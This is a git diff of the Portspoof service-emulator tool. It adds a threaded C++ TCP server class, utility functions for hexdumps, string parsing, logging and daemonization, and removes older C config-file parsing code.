||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
* See the GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program; if not, see <http://www.gnu.org/licenses>.
|
||||
*
|
||||
* Linking portspoof statically or dynamically with other modules is making
|
||||
* a combined work based on Portspoof. Thus, the terms and conditions of
|
||||
* the GNU General Public License cover the whole combination.
|
||||
*
|
||||
* In addition, as a special exception, the copyright holder of Portspoof
|
||||
* gives you permission to combine Portspoof with free software programs or
|
||||
* libraries that are released under the GNU LGPL. You may copy
|
||||
* and distribute such a system following the terms of the GNU GPL for
|
||||
* Portspoof and the licenses of the other code concerned.
|
||||
*
|
||||
* Note that people who make modified versions of Portspoof are not obligated
|
||||
* to grant this special exception for their modified versions; it is their
|
||||
* choice whether to do so. The GNU General Public License gives permission
|
||||
* to release a modified version without this exception; this exception
|
||||
* also makes it possible to release a modified version which carries
|
||||
* forward this exception.
|
||||
*/
|
||||
|
||||
|
||||
#include "Server.h"
|
||||
|
||||
pthread_cond_t new_connection_cond = PTHREAD_COND_INITIALIZER;
|
||||
pthread_mutex_t new_connection_mutex = PTHREAD_MUTEX_INITIALIZER;
|
||||
|
||||
Thread threads[MAX_THREADS];
|
||||
|
||||
Server::Server(Configuration* configuration)
|
||||
{
|
||||
this->configuration = configuration;
|
||||
|
||||
/* create thread pool */
|
||||
for(int i = 0; i < this->configuration->getThreadNr(); i++)
|
||||
{
|
||||
pthread_create(&threads[i].tid, NULL, &process_connection, (void *) i);
|
||||
threads[i].client_count = 0;
|
||||
}
|
||||
|
||||
/* create a socket */
|
||||
sockd = socket(PF_INET, SOCK_STREAM, 0);
|
||||
if (sockd == -1)
|
||||
{
|
||||
perror("Socket creation error");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
int n = 1;
|
||||
setsockopt(sockd, SOL_SOCKET, SO_REUSEADDR , &n, sizeof(n));
|
||||
|
||||
/* server address - by default localhost */
|
||||
my_name.sin_family = PF_INET;
|
||||
if(configuration->getConfigValue(OPT_IP))
|
||||
{
|
||||
fprintf(stdout,"-> Binding to iface: %s\n",configuration->getBindIP().c_str());
|
||||
inet_aton(configuration->getBindIP().c_str(), &my_name.sin_addr);
|
||||
|
||||
}
|
||||
else
|
||||
my_name.sin_addr.s_addr = INADDR_ANY;
|
||||
|
||||
if(configuration->getConfigValue(OPT_PORT))
|
||||
{
|
||||
fprintf(stdout,"-> Binding to port: %d\n",configuration->getPort());
|
||||
my_name.sin_port = htons(configuration->getPort());
|
||||
|
||||
}
|
||||
else
|
||||
my_name.sin_port = htons(DEFAULT_PORT);
|
||||
|
||||
status = bind(sockd, (struct sockaddr*)&my_name, sizeof(my_name));
|
||||
if (status == -1)
|
||||
{
|
||||
perror("Binding error");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Set queue sizeof
|
||||
status = listen(sockd, 10);
|
||||
if (status == -1)
|
||||
{
|
||||
perror("Listen set error");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
bool Server::run()
|
||||
{
|
||||
|
||||
int choosen;
|
||||
|
||||
while(1)
|
||||
{
|
||||
/* wait for a connection */
|
||||
addrlen = sizeof(peer_name);
|
||||
newsockfd = accept(sockd, (struct sockaddr*)&peer_name,(socklen_t*) &addrlen);
|
||||
|
||||
|
||||
if (newsockfd < 0)
|
||||
perror("ERROR on accept");
|
||||
else{
|
||||
|
||||
nonblock(newsockfd);
|
||||
|
||||
start:
|
||||
pthread_mutex_lock(&new_connection_mutex);
|
||||
choosen=choose_thread();
|
||||
|
||||
|
||||
if( choosen == -1)
|
||||
{
|
||||
pthread_mutex_unlock(&new_connection_mutex);
|
||||
sleep(1);
|
||||
goto start;
|
||||
}
|
||||
|
||||
|
||||
if(configuration->getConfigValue(OPT_DEBUG))
|
||||
fprintf(stdout," new conn - thread choosen: %d - nr. of connections already in queue: %d\n",choosen,threads[choosen].client_count);
|
||||
fflush(stdout);
|
||||
|
||||
for(int i = 0; i < MAX_CLIENT_PER_THREAD; i++)
|
||||
{
|
||||
if(threads[choosen].clients[i] == 0)
|
||||
{
|
||||
threads[choosen].clients[i] = newsockfd;
|
||||
threads[choosen].client_count++;
|
||||
break;
|
||||
}
|
||||
}
|
||||
pthread_mutex_unlock(&new_connection_mutex);
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
int Server::choose_thread()
|
||||
{
|
||||
int i=this->configuration->getThreadNr()-1;
|
||||
int min = i;
|
||||
while(i >=0)
|
||||
{
|
||||
if(threads[i].client_count < threads[min].client_count)
|
||||
{
|
||||
min = i;
|
||||
}
|
||||
i--;
|
||||
}
|
||||
|
||||
if(threads[min].client_count==MAX_CLIENT_PER_THREAD)
|
||||
return -1;
|
||||
|
||||
return min;
|
||||
}
|
||||
|
||||
|
||||
|
78
src/Server.h
Executable file
78
src/Server.h
Executable file
@ -0,0 +1,78 @@
|
||||
/*
|
||||
* Portspoof - Service Signature Emulator / Exploitation Framework Frontend
|
||||
* Copyright (C) 2012 Piotr Duszyński <piotr[at]duszynski.eu>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it
|
||||
* under the terms of the GNU General Public License as published by the
|
||||
* Free Software Foundation; either version 2 of the License, or (at your
|
||||
* option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
* See the GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program; if not, see <http://www.gnu.org/licenses>.
|
||||
*
|
||||
* Linking portspoof statically or dynamically with other modules is making
|
||||
* a combined work based on Portspoof. Thus, the terms and conditions of
|
||||
* the GNU General Public License cover the whole combination.
|
||||
*
|
||||
* In addition, as a special exception, the copyright holder of Portspoof
|
||||
* gives you permission to combine Portspoof with free software programs or
|
||||
* libraries that are released under the GNU LGPL. You may copy
|
||||
* and distribute such a system following the terms of the GNU GPL for
|
||||
* Portspoof and the licenses of the other code concerned.
|
||||
*
|
||||
* Note that people who make modified versions of Portspoof are not obligated
|
||||
* to grant this special exception for their modified versions; it is their
|
||||
* choice whether to do so. The GNU General Public License gives permission
|
||||
* to release a modified version without this exception; this exception
|
||||
* also makes it possible to release a modified version which carries
|
||||
* forward this exception.
|
||||
*/
|
||||
|
||||
|
||||
#ifndef SERVER_H
|
||||
#define SERVER_H
|
||||
|
||||
#include <pthread.h>
|
||||
#include <sys/param.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/types.h>
|
||||
#include <stdio.h>
|
||||
#include <pwd.h>
|
||||
#include <unistd.h>
|
||||
#include <stdexcept>
|
||||
#include <sys/resource.h>
|
||||
|
||||
#include <time.h>
|
||||
#include "Threads.h"
|
||||
#include "Configuration.h"
|
||||
|
||||
#include "connection.h"
|
||||
|
||||
|
||||
using namespace std;
|
||||
|
||||
class Server{
|
||||
|
||||
private:
|
||||
int sockd,newsockfd;
|
||||
int addrlen;
|
||||
struct sockaddr_in my_name, peer_name;
|
||||
int status;
|
||||
|
||||
Configuration* configuration;
|
||||
|
||||
public:
|
||||
Server(Configuration* configuration);
|
||||
int choose_thread();
|
||||
bool run();
|
||||
};
|
||||
|
||||
#endif
|
||||
|
21
src/threads.h → src/Threads.h
Normal file → Executable file
21
src/threads.h → src/Threads.h
Normal file → Executable file
@ -1,6 +1,6 @@
|
||||
/*
|
||||
* portspoof Service signature obfucastor
|
||||
* Copyright (C) 12012 Piotr Duszyński <piotr[at]duszynski.eu>
|
||||
* Portspoof - Service Signature Emulator / Exploitation Framework Frontend
|
||||
* Copyright (C) 2012 Piotr Duszyński <piotr[at]duszynski.eu>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it
|
||||
* under the terms of the GNU General Public License as published by the
|
||||
@ -16,16 +16,16 @@
|
||||
* with this program; if not, see <http://www.gnu.org/licenses>.
|
||||
*
|
||||
* Linking portspoof statically or dynamically with other modules is making
|
||||
* a combined work based on portspoof. Thus, the terms and conditions of
|
||||
* a combined work based on Portspoof. Thus, the terms and conditions of
|
||||
* the GNU General Public License cover the whole combination.
|
||||
*
|
||||
* In addition, as a special exception, the copyright holder of portspoof
|
||||
* gives you permission to combine portspoof with free software programs or
|
||||
* In addition, as a special exception, the copyright holder of Portspoof
|
||||
* gives you permission to combine Portspoof with free software programs or
|
||||
* libraries that are released under the GNU LGPL. You may copy
|
||||
* and distribute such a system following the terms of the GNU GPL for
|
||||
* portspoof and the licenses of the other code concerned.
|
||||
* Portspoof and the licenses of the other code concerned.
|
||||
*
|
||||
* Note that people who make modified versions of portspoof are not obligated
|
||||
* Note that people who make modified versions of Portspoof are not obligated
|
||||
* to grant this special exception for their modified versions; it is their
|
||||
* choice whether to do so. The GNU General Public License gives permission
|
||||
* to release a modified version without this exception; this exception
|
||||
@ -33,14 +33,9 @@
|
||||
* forward this exception.
|
||||
*/
|
||||
|
||||
|
||||
#include <pthread.h>
|
||||
|
||||
|
||||
extern pthread_cond_t new_connection_cond;
|
||||
extern pthread_mutex_t new_connection_mutex;
|
||||
|
||||
|
||||
|
||||
#ifndef THREAD_VARS
|
||||
#define THREAD_VARS
|
||||
|
322
src/Utils.cpp
Executable file
322
src/Utils.cpp
Executable file
@ -0,0 +1,322 @@
|
||||
/*
|
||||
* Portspoof - Service Signature Emulator / Exploitation Framework Frontend
|
||||
* Copyright (C) 2012 Piotr Duszyński <piotr[at]duszynski.eu>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it
|
||||
* under the terms of the GNU General Public License as published by the
|
||||
* Free Software Foundation; either version 2 of the License, or (at your
|
||||
* option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
* See the GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program; if not, see <http://www.gnu.org/licenses>.
|
||||
*
|
||||
* Linking portspoof statically or dynamically with other modules is making
|
||||
* a combined work based on Portspoof. Thus, the terms and conditions of
|
||||
* the GNU General Public License cover the whole combination.
|
||||
*
|
||||
* In addition, as a special exception, the copyright holder of Portspoof
|
||||
* gives you permission to combine Portspoof with free software programs or
|
||||
* libraries that are released under the GNU LGPL. You may copy
|
||||
* and distribute such a system following the terms of the GNU GPL for
|
||||
* Portspoof and the licenses of the other code concerned.
|
||||
*
|
||||
* Note that people who make modified versions of Portspoof are not obligated
|
||||
* to grant this special exception for their modified versions; it is their
|
||||
* choice whether to do so. The GNU General Public License gives permission
|
||||
* to release a modified version without this exception; this exception
|
||||
* also makes it possible to release a modified version which carries
|
||||
* forward this exception.
|
||||
*/
|
||||
|
||||
|
||||
|
||||
#include "Utils.h"
|
||||
|
||||
|
||||
pthread_cond_t log_cond = PTHREAD_COND_INITIALIZER;
|
||||
pthread_mutex_t log_mutex = PTHREAD_MUTEX_INITIALIZER;
|
||||
|
||||
|
||||
void Utils::hexdump(void *mem, unsigned int len)
|
||||
{
|
||||
unsigned int i, j;
|
||||
|
||||
for(i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++)
|
||||
{
|
||||
/* print offset */
|
||||
if(i % HEXDUMP_COLS == 0)
|
||||
{
|
||||
fprintf(stdout,"0x%06x: ", i);
|
||||
}
|
||||
|
||||
/* print hex data */
|
||||
if(i < len)
|
||||
{
|
||||
fprintf(stdout,"%02x ", 0xFF & ((char*)mem)[i]);
|
||||
}
|
||||
else /* end of block, just aligning for ASCII dump */
|
||||
{
|
||||
fprintf(stdout," ");
|
||||
}
|
||||
|
||||
/* print ASCII dump */
|
||||
if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1))
|
||||
{
|
||||
for(j = i - (HEXDUMP_COLS - 1); j <= i; j++)
|
||||
{
|
||||
if(j >= len) /* end of block, not really printing */
|
||||
{
|
||||
putchar(' ');
|
||||
}
|
||||
else if(isprint(((char*)mem)[j])) /* printable char */
|
||||
{
|
||||
putchar(0xFF & ((char*)mem)[j]);
|
||||
}
|
||||
else /* other char */
|
||||
{
|
||||
putchar('.');
|
||||
}
|
||||
}
|
||||
putchar('\n');
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
std::vector<char> Utils::wrapNMAP(string wrapper,std::vector<char> payload)
|
||||
{
|
||||
stringstream ss;
|
||||
string str;
|
||||
std::vector<char> result_vector;
|
||||
|
||||
ss<<wrapper.substr(0,wrapper.find(FUZZING_KEYWORD));
|
||||
str=ss.str();
|
||||
|
||||
for(unsigned int i=0; i<str.length();i++)
|
||||
result_vector.push_back(str[i]);
|
||||
|
||||
result_vector.insert(result_vector.end(),payload.begin(),payload.end());
|
||||
|
||||
ss.str("");
|
||||
ss<<wrapper.substr(wrapper.find(FUZZING_KEYWORD)+strlen(FUZZING_KEYWORD),wrapper.size());
|
||||
|
||||
str=ss.str();
|
||||
|
||||
for(unsigned int i=0; i<str.length();i++)
|
||||
result_vector.push_back(str[i]);
|
||||
|
||||
return result_vector;
|
||||
}
|
||||
|
||||
std::vector<char> Utils::str2vector( std::string& s)
|
||||
{
|
||||
std::vector<char> result_vector;
|
||||
|
||||
for(int i=0; i<s.length();i++)
|
||||
result_vector.push_back(s[i]);
|
||||
|
||||
return result_vector;
|
||||
|
||||
|
||||
}
|
||||
int Utils::isNumeric (const char * s)
|
||||
{
|
||||
if (s == NULL || *s == '\0' || isspace(*s))
|
||||
return 0;
|
||||
char * p;
|
||||
strtod(s, &p);
|
||||
return *p == '\0';
|
||||
}
|
||||
|
||||
|
||||
std::vector<char> Utils::unescape(std::vector<char> & s)
|
||||
{
|
||||
std::vector<char> res;
|
||||
vector<char>::const_iterator it = s.begin();
|
||||
while (it != s.end())
|
||||
{
|
||||
char c = *it++;
|
||||
if (c == '\\' && it != s.end())
|
||||
{
|
||||
switch (*it++) {
|
||||
case 'n': c = '\n'; break;
|
||||
case 'r': c = '\r'; break;
|
||||
case 't': c = '\t'; break;
|
||||
|
||||
// all other escapes
|
||||
default:
|
||||
// invalid escape sequence - skip it. alternatively you can copy it as is, throw an exception...
|
||||
continue;
|
||||
}
|
||||
}
|
||||
res.push_back(c);
|
||||
}
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
|
||||
char * Utils::get_substring_value(char* str)
|
||||
{
|
||||
int i=0;
|
||||
int soffset=-1,eoffset=-1;
|
||||
for(i;i<strlen(str);i++)
|
||||
{
|
||||
if(str[i]=='"')
|
||||
{
|
||||
|
||||
if(soffset==-1)
|
||||
soffset=i;
|
||||
else if(eoffset==-1)
|
||||
{
|
||||
eoffset=i;
|
||||
break;
|
||||
}
|
||||
else
|
||||
{
|
||||
fprintf(stdout,"Error in configuration file1");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if(soffset==-1 || eoffset==-1)
|
||||
{
|
||||
fprintf(stdout,"Error in configuration file2");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
char *substr=(char*)malloc(eoffset-soffset);
|
||||
memset(substr,0,eoffset-soffset);
|
||||
memcpy(substr,str+soffset+1,eoffset-soffset-1);
|
||||
return substr;
|
||||
}
|
||||
|
||||
|
||||
void Utils::log_create(const char* file){
|
||||
|
||||
FILE *fp = fopen(file, "a");
|
||||
if (fp == NULL) {
|
||||
fp = fopen(file, "w");
|
||||
}
|
||||
fclose(fp);
|
||||
return;
|
||||
|
||||
}
|
||||
|
||||
void Utils::log_write(Configuration* configuration,const char* msg) {
|
||||
|
||||
pthread_mutex_lock(&log_mutex);
|
||||
|
||||
if(configuration->getConfigValue(OPT_LOG_FILE))
|
||||
{
|
||||
FILE *fp = fopen(configuration->getLogFile().c_str(), "a");
|
||||
if (fp == NULL) {
|
||||
fprintf(stdout,"Error opening file: %s \n",configuration->getLogFile().c_str());
|
||||
exit(1);
|
||||
}
|
||||
|
||||
fprintf(fp,"%s",msg);
|
||||
fclose(fp);
|
||||
|
||||
}
|
||||
|
||||
if(!(configuration->getConfigValue(OPT_SYSLOG_DIS)))
|
||||
{
|
||||
openlog(SYSLOG_NAME, LOG_PID|LOG_CONS, LOG_USER);
|
||||
syslog(LOG_INFO," %s",msg);
|
||||
closelog();
|
||||
}
|
||||
pthread_mutex_unlock(&log_mutex);
|
||||
|
||||
return;
|
||||
|
||||
}
|
||||
|
||||
|
||||
void Utils::daemonize(Configuration* configuration)
|
||||
{
|
||||
|
||||
const string &dir = "/";
|
||||
const std::string &stdinfile = "/dev/null";
|
||||
const std::string &stdoutfile = "/dev/null";
|
||||
const std::string &stderrfile = "/dev/null";
|
||||
|
||||
|
||||
umask(0);
|
||||
|
||||
|
||||
rlimit rl;
|
||||
if (getrlimit(RLIMIT_NOFILE, &rl) < 0)
|
||||
{
|
||||
throw std::runtime_error(strerror(errno));
|
||||
}
|
||||
|
||||
|
||||
|
||||
pid_t pid;
|
||||
if ((pid = fork()) < 0)
|
||||
{
|
||||
throw std::runtime_error(strerror(errno));
|
||||
} else if (pid != 0) { //parent
|
||||
exit(0);
|
||||
}
|
||||
|
||||
|
||||
setsid();
|
||||
|
||||
if (!dir.empty() && chdir(dir.c_str()) < 0)
|
||||
{
|
||||
throw std::runtime_error(strerror(errno));
|
||||
}
|
||||
|
||||
|
||||
if (setgid(configuration->getGroupid()) != 0)
|
||||
{
|
||||
fprintf(stdout,"setgid: Unable to drop group privileges: %s", strerror(errno));
|
||||
fflush(stdout);
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
|
||||
if (setuid(configuration->getUserid()) != 0)
|
||||
{
|
||||
fprintf(stdout,"setuid: Unable to drop user privileges: %s", strerror(errno));
|
||||
fflush(stdout);
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
if (rl.rlim_max == RLIM_INFINITY)
|
||||
{
|
||||
rl.rlim_max = 1024;
|
||||
}
|
||||
|
||||
for (unsigned int i = 0; i < rl.rlim_max; i++)
|
||||
{
|
||||
close(i);
|
||||
}
|
||||
|
||||
|
||||
|
||||
int fd0 = open(stdinfile.c_str(), O_RDONLY);
|
||||
int fd1 = open(stdoutfile.c_str(),
|
||||
O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);
|
||||
int fd2 = open(stderrfile.c_str(),
|
||||
O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);
|
||||
|
||||
|
||||
if (fd0 != STDIN_FILENO || fd1 != STDOUT_FILENO || fd2 != STDERR_FILENO)
|
||||
{
|
||||
throw runtime_error("new standard file descriptors were not opened as expected");
|
||||
}
|
||||
|
||||
|
||||
|
||||
}
|
91
src/Utils.h
Executable file
91
src/Utils.h
Executable file
@ -0,0 +1,91 @@
|
||||
/*
|
||||
* Portspoof - Service Signature Emulator / Exploitation Framework Frontend
|
||||
* Copyright (C) 2012 Piotr Duszyński <piotr[at]duszynski.eu>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it
|
||||
* under the terms of the GNU General Public License as published by the
|
||||
* Free Software Foundation; either version 2 of the License, or (at your
|
||||
* option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
* See the GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program; if not, see <http://www.gnu.org/licenses>.
|
||||
*
|
||||
* Linking portspoof statically or dynamically with other modules is making
|
||||
* a combined work based on Portspoof. Thus, the terms and conditions of
|
||||
* the GNU General Public License cover the whole combination.
|
||||
*
|
||||
* In addition, as a special exception, the copyright holder of Portspoof
|
||||
* gives you permission to combine Portspoof with free software programs or
|
||||
* libraries that are released under the GNU LGPL. You may copy
|
||||
* and distribute such a system following the terms of the GNU GPL for
|
||||
* Portspoof and the licenses of the other code concerned.
|
||||
*
|
||||
* Note that people who make modified versions of Portspoof are not obligated
|
||||
* to grant this special exception for their modified versions; it is their
|
||||
* choice whether to do so. The GNU General Public License gives permission
|
||||
* to release a modified version without this exception; this exception
|
||||
* also makes it possible to release a modified version which carries
|
||||
* forward this exception.
|
||||
*/
|
||||
|
||||
|
||||
|
||||
#ifndef UTILS_H
|
||||
#define UTILS_H
|
||||
|
||||
|
||||
#include <stdio.h>
|
||||
#include <ctype.h>
|
||||
#include <stdlib.h>
|
||||
#include <openssl/aes.h>
|
||||
#include <openssl/evp.h>
|
||||
#include <string.h>
|
||||
#include <string>
|
||||
#include <sstream>
|
||||
#include <iostream>
|
||||
#include <vector>
|
||||
#include <syslog.h>
|
||||
#include <pthread.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include "Configuration.h"
|
||||
|
||||
class Configuration;
|
||||
extern Configuration* configuration;
|
||||
|
||||
#ifndef HEXDUMP_COLS
|
||||
#define HEXDUMP_COLS 16
|
||||
#endif
|
||||
|
||||
#define MAX_LOG_MSG_LEN 200
|
||||
#define SYSLOG_NAME "portspoof"
|
||||
#define FUZZING_KEYWORD "__FUZZ__"
|
||||
|
||||
using namespace std;
|
||||
|
||||
class Utils {
|
||||
|
||||
public:
|
||||
|
||||
static void hexdump(void *mem, unsigned int len);
|
||||
static int isNumeric (const char * s);
|
||||
static char* get_substring_value(char* str);
|
||||
static std::vector<char> wrapNMAP(string wrapper,std::vector<char> payload);
|
||||
static std::vector<char> unescape( std::vector<char>& s);
|
||||
static std::vector<char> str2vector( std::string& s);
|
||||
static void log_create(const char* file);
|
||||
static void log_write(Configuration* configuration,const char* msg);
|
||||
static void daemonize(Configuration* configuration);
|
||||
|
||||
|
||||
|
||||
};
|
||||
|
||||
|
||||
#endif
|
||||
|
@ -73,9 +73,6 @@
|
||||
/* Define to 1 if your C compiler doesn't accept -c and -o together. */
|
||||
#undef NO_MINUS_C_MINUS_O
|
||||
|
||||
/* This is an OpenBSD system */
|
||||
#undef OPENBSD
|
||||
|
||||
/* Name of package */
|
||||
#undef PACKAGE
|
||||
|
||||
@ -91,12 +88,12 @@
|
||||
/* Define to the one symbol short name of this package. */
|
||||
#undef PACKAGE_TARNAME
|
||||
|
||||
/* Define to the home page for this package. */
|
||||
#undef PACKAGE_URL
|
||||
|
||||
/* Define to the version of this package. */
|
||||
#undef PACKAGE_VERSION
|
||||
|
||||
/* This is a BSD system */
|
||||
#undef SOMEBSD
|
||||
|
||||
/* Define to 1 if you have the ANSI C header files. */
|
||||
#undef STDC_HEADERS
|
||||
|
||||
|
@ -1,163 +0,0 @@
|
||||
#include "config_file.h"
|
||||
|
||||
int isNumeric (const char * s)
|
||||
{
|
||||
if (s == NULL || *s == '\0' || isspace(*s))
|
||||
return 0;
|
||||
char * p;
|
||||
strtod(s, &p);
|
||||
return *p == '\0';
|
||||
}
|
||||
|
||||
char * get_substring_value(char* str)
|
||||
{
|
||||
int i=0;
|
||||
int soffset=-1,eoffset=-1;
|
||||
for(i;i<strlen(str);i++)
|
||||
{
|
||||
if(str[i]=='"')
|
||||
{
|
||||
|
||||
if(soffset==-1)
|
||||
soffset=i;
|
||||
else if(eoffset==-1)
|
||||
{
|
||||
eoffset=i;
|
||||
break;
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("Error in configuration file1");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if(soffset==-1 || eoffset==-1)
|
||||
{
|
||||
printf("Error in configuration file2");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
char *substr=malloc(eoffset-soffset);
|
||||
memset(substr,0,eoffset-soffset);
|
||||
memcpy(substr,str+soffset+1,eoffset-soffset-1);
|
||||
return substr;
|
||||
}
|
||||
|
||||
|
||||
int get_nr_of_payloads(char* config_file)
|
||||
{
|
||||
|
||||
FILE *fp = fopen(config_file, "r");
|
||||
if (fp == NULL) {
|
||||
printf("Error opening file: %s \n",config_file);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
char tmp[BUFSIZE],str1[BUFSIZE], str2[BUFSIZE];
|
||||
int nr_of_payloads=0;
|
||||
|
||||
while (fgets(tmp, BUFSIZE, fp))
|
||||
if (strlen(tmp) >1 && tmp[0]!='#')
|
||||
{
|
||||
|
||||
if(sscanf(tmp, "%s %s",str1,str2)==EOF){
|
||||
printf("Error in configuration file");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if(str1==NULL || str2==NULL)
|
||||
{
|
||||
printf("Error in configuration file");
|
||||
exit(1);
|
||||
}
|
||||
nr_of_payloads++;
|
||||
}
|
||||
|
||||
fclose(fp);
|
||||
|
||||
return nr_of_payloads;
|
||||
}
|
||||
|
||||
int process_config_file(struct signature **arr_lines2,int* signatures,int num_lines, char* config_file)
|
||||
{
|
||||
|
||||
FILE *fp = fopen(config_file, "r");
|
||||
if (fp == NULL) {
|
||||
printf("Error opening file: %s \n",config_file);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
char tmp[BUFSIZE], str1[BUFSIZE], str2[BUFSIZE];
|
||||
int i=0,lp,hp;
|
||||
char* substr;
|
||||
int len;
|
||||
|
||||
while (fgets(tmp, BUFSIZE, fp))
|
||||
if (strlen(tmp) >1 && tmp[0]!='#')
|
||||
{
|
||||
|
||||
if(sscanf(tmp, "%s %s",(char *)str1,str2)==EOF){
|
||||
printf("Error in configuration file");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if(str1==NULL || str2==NULL)
|
||||
{
|
||||
printf("Error in configuration file");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if(isNumeric(str1)) //single port
|
||||
{
|
||||
sscanf(str1,"%d",&lp);
|
||||
substr=get_substring_value(tmp);
|
||||
//DEBUG
|
||||
//printf("port %d value: %s\n",lp,substr);
|
||||
len=strlen(substr);
|
||||
((signature*)(arr_lines2[num_lines+i-1]))->cptr=process_signature(substr,&len);;
|
||||
((signature*)(arr_lines2[num_lines+i-1]))->len=len;
|
||||
|
||||
|
||||
signatures[lp]=num_lines+i-1;
|
||||
i++;
|
||||
continue;
|
||||
}
|
||||
else
|
||||
{
|
||||
if(sscanf(str1, "%d-%d",&lp,&hp)==EOF){
|
||||
printf("Error in configuration file\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if(lp==0 || hp==0)
|
||||
{
|
||||
printf("Error in configuration file");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
substr=get_substring_value(tmp);
|
||||
//DEBUG
|
||||
//printf("range port %d-%d value: %s\n",lp,hp,substr);
|
||||
|
||||
len=strlen(substr);
|
||||
((signature*)(arr_lines2[num_lines+i-1]))->cptr=process_signature(substr,&len);;
|
||||
((signature*)(arr_lines2[num_lines+i-1]))->len=len;
|
||||
|
||||
int port=lp;
|
||||
for(port;port<=hp;port++)
|
||||
{
|
||||
signatures[port]=num_lines+i-1;
|
||||
}
|
||||
|
||||
i++;
|
||||
continue;
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
fclose(fp);
|
||||
return 0;
|
||||
}
|
@ -1,9 +0,0 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "revregex.h"
|
||||
#include "connection.h"
|
||||
|
||||
int process_config_file(struct signature **arr_lines2,int* signatures,int num_lines, char* config_file);
|
||||
char *get_substring_value(char* str);
|
||||
int get_nr_of_payloads(char* config_file);
|
441
src/connection.c
441
src/connection.c
@ -1,441 +0,0 @@
|
||||
/*
|
||||
* portspoof Service signature obfucastor
|
||||
* Copyright (C) 12012 Piotr Duszyński <piotr[at]duszynski.eu>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it
|
||||
* under the terms of the GNU General Public License as published by the
|
||||
* Free Software Foundation; either version 2 of the License, or (at your
|
||||
* option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
* See the GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program; if not, see <http://www.gnu.org/licenses>.
|
||||
*
|
||||
* Linking portspoof statically or dynamically with other modules is making
|
||||
* a combined work based on portspoof. Thus, the terms and conditions of
|
||||
* the GNU General Public License cover the whole combination.
|
||||
*
|
||||
* In addition, as a special exception, the copyright holder of portspoof
|
||||
* gives you permission to combine portspoof with free software programs or
|
||||
* libraries that are released under the GNU LGPL. You may copy
|
||||
* and distribute such a system following the terms of the GNU GPL for
|
||||
* portspoof and the licenses of the other code concerned.
|
||||
*
|
||||
* Note that people who make modified versions of portspoof are not obligated
|
||||
* to grant this special exception for their modified versions; it is their
|
||||
* choice whether to do so. The GNU General Public License gives permission
|
||||
* to release a modified version without this exception; this exception
|
||||
* also makes it possible to release a modified version which carries
|
||||
* forward this exception.
|
||||
*/
|
||||
|
||||
|
||||
|
||||
#include <pthread.h>
|
||||
#include <sys/param.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <time.h>
|
||||
|
||||
#ifdef OPENBSD
|
||||
|
||||
|
||||
#include <netinet/in.h>
|
||||
#include <netinet/in_systm.h>
|
||||
#include <netinet/in_var.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <netinet/ip_var.h>
